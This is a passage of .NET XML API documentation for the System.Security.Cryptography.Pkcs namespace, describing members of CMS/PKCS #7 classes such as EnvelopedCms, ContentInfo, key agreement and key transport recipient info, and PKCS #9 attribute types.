<returns></returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#IEnumerable#GetEnumerator">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientCollection.System#Collections#IEnumerable#GetEnumerator"></see> method returns a <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> object that can be used to enumerate the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> class provides enumeration functionality for the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection. <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator"></see> implements the <see cref="T:System.Collections.IEnumerator"></see> interface.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the current recipient in the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.MoveNext">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.MoveNext"></see> method advances the enumeration to the next <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>true if the enumeration successfully moved to the next <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object; false if the enumeration moved past the last item in the enumeration.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Reset">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.Reset"></see> method resets the enumeration to the first <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object in the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.System#Collections#IEnumerator#Current">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.CmsRecipientEnumerator.System#Collections#IEnumerator#Current"></see> property retrieves the current <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object from the <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the current recipient in the <see cref="System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.ContentInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class represents the CMS/PKCS #7 ContentInfo data structure as defined in the CMS/PKCS #7 standards document. This data structure is the basis for all CMS/PKCS #7 messages.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class by using an array of byte values as the data and a default <paramref name="object identifier">object identifier</paramref> (OID) that represents the content type.</summary>
<param name="content">An array of byte values that represents the data from which to create the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Security.Cryptography.Oid,System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.#ctor(System.Security.Cryptography.Oid,System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> class by using the specified content type and an array of byte values as the data.</summary>
<param name="contentType">An <see cref="T:System.Security.Cryptography.Oid"></see> object that contains an object identifier (OID) that specifies the content type of the content. This can be data, digestedData, encryptedData, envelopedData, hashedData, signedAndEnvelopedData, or signedData. For more information, see Remarks.</param>
<param name="content">An array of byte values that represents the data from which to create the <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.ContentInfo.Content">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.ContentInfo.Content"></see> property retrieves the content of the CMS/PKCS #7 message.</summary>
<returns>An array of byte values that represents the content data.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.ContentInfo.ContentType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.ContentInfo.ContentType"></see> property retrieves the <see cref="T:System.Security.Cryptography.Oid"></see> object that contains the <paramref name="object identifier">object identifier</paramref> (OID) of the content type of the inner content of the CMS/PKCS #7 message.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that contains the OID value that represents the content type.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.ContentInfo.GetContentType(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.ContentInfo.GetContentType(System.Byte[])"></see> static method retrieves the outer content type of the encoded <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> message represented by an array of byte values.</summary>
<param name="encodedMessage">An array of byte values that represents the encoded <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> message from which to retrieve the outer content type.</param>
<returns>If the method succeeds, the method returns an <see cref="System.Security.Cryptography.Oid"></see> object that contains the outer content type of the specified encoded <see cref="System.Security.Cryptography.Pkcs.ContentInfo"></see> message.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">An error occurred during a cryptographic operation.</exception>
</member>
<member name="T:System.Security.Cryptography.Pkcs.EnvelopedCms">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class represents a CMS/PKCS #7 structure for enveloped data.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class.</summary>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class by using the specified content information as the inner content type.</summary>
<param name="contentInfo">An instance of the <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo"></see> class that represents the content and its type.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo,System.Security.Cryptography.Pkcs.AlgorithmIdentifier)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.#ctor(System.Security.Cryptography.Pkcs.ContentInfo,System.Security.Cryptography.Pkcs.AlgorithmIdentifier)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> class by using the specified content information and encryption algorithm. The specified content information is to be used as the inner content type.</summary>
<param name="contentInfo">A <see cref="T:System.Security.Cryptography.Pkcs.ContentInfo"></see> object that represents the content and its type.</param>
<param name="encryptionAlgorithm">An <see cref="T:System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that specifies the encryption algorithm.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Certificates">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Certificates"></see> property retrieves the set of certificates associated with the enveloped CMS/PKCS #7 message.</summary>
<returns>An <see cref="System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents the X.509 certificates used with the enveloped CMS/PKCS #7 message. If no certificates exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentEncryptionAlgorithm"></see> property retrieves the identifier of the algorithm used to encrypt the content.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that represents the algorithm identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.ContentInfo"></see> property retrieves the inner content information for the enveloped CMS/PKCS #7 message.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.ContentInfo"></see> object that represents the inner content information from the enveloped CMS/PKCS #7 message.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decode(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decode(System.Byte[])"></see> method decodes the specified enveloped CMS/PKCS #7 message and resets all member variables in the <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> object.</summary>
<param name="encodedMessage">An array of byte values that represent the information to be decoded.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information and by using the specified certificate collection. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption.</summary>
<param name="recipientInfo">A <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the recipient information to use for the decryption.</param>
<param name="extraStore">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents additional certificates to use for the decryption. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo,System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the specified certificate collection. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption.</summary>
<param name="extraStore">An <see cref="T:System.Security.Cryptography.X509Certificates.X509Certificate2Collection"></see> collection that represents additional certificates to use for the decryption. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.X509Certificates.X509Certificate2Collection)"></see> method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message. The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt"></see> method searches the current user and computer My stores for the appropriate certificate and private key.</summary>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Decrypt(System.Security.Cryptography.Pkcs.RecipientInfo)"></see> method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information.</summary>
<param name="recipientInfo">A <see cref="T:System.Security.Cryptography.Pkcs.RecipientInfo"></see> object that represents the recipient information that identifies the certificate associated with the private key to use for the decryption.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encode">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encode"></see> method encodes the contents of the enveloped CMS/PKCS #7 message and returns it as an array of byte values. Encryption must be done before encoding.</summary>
<returns>If the method succeeds, the method returns an array of byte values that represent the encoded information.
If the method fails, it throws an exception.</returns>
<exception cref="T:System.InvalidOperationException">A method call was invalid for the object&amp;#39;s current state.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipient)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipient)"></see> method encrypts the contents of the CMS/PKCS #7 message by using the specified recipient information.</summary>
<param name="recipient">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipient"></see> object that represents the recipient information.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipientCollection)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.EnvelopedCms.Encrypt(System.Security.Cryptography.Pkcs.CmsRecipientCollection)"></see> method encrypts the contents of the CMS/PKCS #7 message by using the information for the specified list of recipients. The message is encrypted by using a message encryption key with a symmetric encryption algorithm such as triple DES. The message encryption key is then encrypted with the public key of each recipient.</summary>
<param name="recipients">A <see cref="T:System.Security.Cryptography.Pkcs.CmsRecipientCollection"></see> collection that represents the information for the list of recipients.</param>
<exception cref="T:System.ArgumentNullException">A null reference was passed to a method that does not accept it as a valid argument.</exception>
<exception cref="T:System.Security.Cryptography.CryptographicException">A cryptographic operation could not be completed.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.RecipientInfos">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.RecipientInfos"></see> property retrieves the recipient information associated with the enveloped CMS/PKCS #7 message.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.RecipientInfoCollection"></see> collection that represents the recipient information. If no recipients exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.UnprotectedAttributes">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.UnprotectedAttributes"></see> property retrieves the unprotected (unencrypted) attributes associated with the enveloped CMS/PKCS #7 message. Unprotected attributes are not encrypted, and so do not have data confidentiality within an <see cref="T:System.Security.Cryptography.Pkcs.EnvelopedCms"></see> object.</summary>
<returns>A <see cref="System.Security.Cryptography.CryptographicAttributeObjectCollection"></see> collection that represents the unprotected attributes. If no unprotected attributes exist, the property value is an empty collection.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.EnvelopedCms.Version"></see> property retrieves the version of the enveloped CMS/PKCS #7 message.</summary>
<returns>An int value that represents the version of the enveloped CMS/PKCS #7 message.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> class defines key agreement recipient information. Key agreement algorithms typically use the Diffie-Hellman key agreement algorithm, in which the two parties that establish a shared cryptographic key both take part in its generation and, by definition, agree on that key. This is in contrast to key transport algorithms, in which one party generates the key unilaterally and sends, or transports it, to the other party.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Date">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Date"></see> property retrieves the date and time of the start of the key agreement protocol by the originator.</summary>
<returns>The date and time of the start of the key agreement protocol by the originator.</returns>
<exception cref="T:System.InvalidOperationException">The recipient identifier type is not a subject key identifier.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.EncryptedKey"></see> property retrieves the encrypted recipient keying material.</summary>
<returns>An array of byte values that contain the encrypted recipient keying material.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.KeyEncryptionAlgorithm"></see> property retrieves the algorithm used to perform the key agreement.</summary>
<returns>The value of the algorithm used to perform the key agreement.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OriginatorIdentifierOrKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OriginatorIdentifierOrKey"></see> property retrieves information about the originator of the key agreement for key agreement algorithms that warrant it.</summary>
<returns>An object that contains information about the originator of the key agreement.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OtherKeyAttribute">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.OtherKeyAttribute"></see> property retrieves attributes of the keying material.</summary>
<returns>The attributes of the keying material.</returns>
<exception cref="T:System.InvalidOperationException">The recipient identifier type is not a subject key identifier.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.RecipientIdentifier"></see> property retrieves the identifier of the recipient.</summary>
<returns>The identifier of the recipient.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo.Version"></see> property retrieves the version of the key agreement recipient. This is automatically set for objects in this class, and the value implies that the recipient is taking part in a key agreement algorithm.</summary>
<returns>The version of the <see cref="System.Security.Cryptography.Pkcs.KeyAgreeRecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo"></see> class defines key transport recipient information. Key transport algorithms typically use the RSA algorithm, in which an originator establishes a shared cryptographic key with a recipient by generating that key and then transporting it to the recipient. This is in contrast to key agreement algorithms, in which the two parties that will be using a cryptographic key both take part in its generation, thereby mutually agreeing to that key.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.EncryptedKey">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.EncryptedKey"></see> property retrieves the encrypted key for this key transport recipient.</summary>
<returns>An array of byte values that represents the encrypted key.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.KeyEncryptionAlgorithm">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.KeyEncryptionAlgorithm"></see> property retrieves the key encryption algorithm used to encrypt the content encryption key.</summary>
<returns>An <see cref="System.Security.Cryptography.Pkcs.AlgorithmIdentifier"></see> object that stores the key encryption algorithm identifier.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.RecipientIdentifier">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.RecipientIdentifier"></see> property retrieves the subject identifier associated with the encrypted content.</summary>
<returns>A <see cref="System.Security.Cryptography.Pkcs.SubjectIdentifier"></see> object that stores the identifier of the recipient taking part in the key transport.</returns>
</member>
<member name="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.Version">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.KeyTransRecipientInfo.Version"></see> property retrieves the version of the key transport recipient. The version of the key transport recipient is automatically set for objects in this class, and the value implies that the recipient is taking part in a key transport algorithm.</summary>
<returns>An int value that represents the version of the key transport <see cref="System.Security.Cryptography.Pkcs.RecipientInfo"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject">
<summary>Represents an attribute used for CMS/PKCS #7 and PKCS #9 operations.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.Security.Cryptography.AsnEncodedData)">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object as its attribute type and value.</summary>
<param name="asnEncodedData">An object that contains the PKCS #9 attribute type and value to use.</param>
<exception cref="T:System.ArgumentException">The length of the <paramref name="Value">Value</paramref> member of the <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is zero.</exception>
<exception cref="T:System.ArgumentNullException">The <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is null.
-or-
The <paramref name="Value">Value</paramref> member of the <paramref name="Oid">Oid</paramref> member of <paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.Security.Cryptography.Oid,System.Byte[])">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified <see cref="T:System.Security.Cryptography.Oid"></see> object as the attribute type and a specified ASN.1 encoded data as the attribute value.</summary>
<param name="oid">An object that represents the PKCS #9 attribute type.</param>
<param name="encodedData">An array of byte values that represents the PKCS #9 attribute value.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.#ctor(System.String,System.Byte[])">
<summary>Initializes a new instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> class using a specified string representation of an object identifier (OID) as the attribute type and a specified ASN.1 encoded data as the attribute value.</summary>
<param name="oid">The string representation of an OID that represents the PKCS #9 attribute type.</param>
<param name="encodedData">An array of byte values that contains the PKCS #9 attribute value.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies a PKCS #9 attribute type and value for this <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> from the specified <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">An object that contains the PKCS #9 attribute type and value to use.</param>
<exception cref="T:System.ArgumentException"><paramref name="asnEncodeData">asnEncodeData</paramref> does not represent a compatible attribute type.</exception>
<exception cref="T:System.ArgumentNullException"><paramref name="asnEncodedData">asnEncodedData</paramref> is null.</exception>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject.Oid">
<summary>Gets an <see cref="T:System.Security.Cryptography.Oid"></see> object that represents the type of attribute associated with this <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> object.</summary>
<returns>An object that represents the type of attribute associated with this <see cref="System.Security.Cryptography.Pkcs.Pkcs9AttributeObject"></see> object.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType"></see> class defines the type of the content of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9ContentType"></see> class.</summary>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9ContentType.ContentType">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9ContentType.ContentType"></see> property gets an <see cref="T:System.Security.Cryptography.Oid"></see> object that contains the content type.</summary>
<returns>An <see cref="System.Security.Cryptography.Oid"></see> object that contains the content type.</returns>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9ContentType.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class defines the description of the content of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.Byte[])">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.Byte[])"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class by using the specified array of byte values as the encoded description of the content of a CMS/PKCS #7 message.</summary>
<param name="encodedDocumentDescription">An array of byte values that specifies the encoded description of the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.String)">
<summary>The <see cref="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.#ctor(System.String)"></see> constructor creates an instance of the <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription"></see> class by using the specified description of the content of a CMS/PKCS #7 message.</summary>
<param name="documentDescription">An instance of the <see cref="T:System.String"></see> class that specifies the description for the CMS/PKCS #7 message.</param>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.CopyFrom(System.Security.Cryptography.AsnEncodedData)">
<summary>Copies information from an <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object.</summary>
<param name="asnEncodedData">The <see cref="T:System.Security.Cryptography.AsnEncodedData"></see> object from which to copy information.</param>
</member>
<member name="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.DocumentDescription">
<summary>The <see cref="P:System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription.DocumentDescription"></see> property retrieves the document description.</summary>
<returns>A <see cref="System.String"></see> object that contains the document description.</returns>
</member>
<member name="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName">
<summary>The <see cref="T:System.Security.Cryptography.Pkcs.Pkcs9DocumentName"></see> class defines the name of a CMS/PKCS #7 message.</summary>
</member>
<member name="M:System.Security.Cryptography.Pkcs.Pkcs9DocumentName.#ctor">
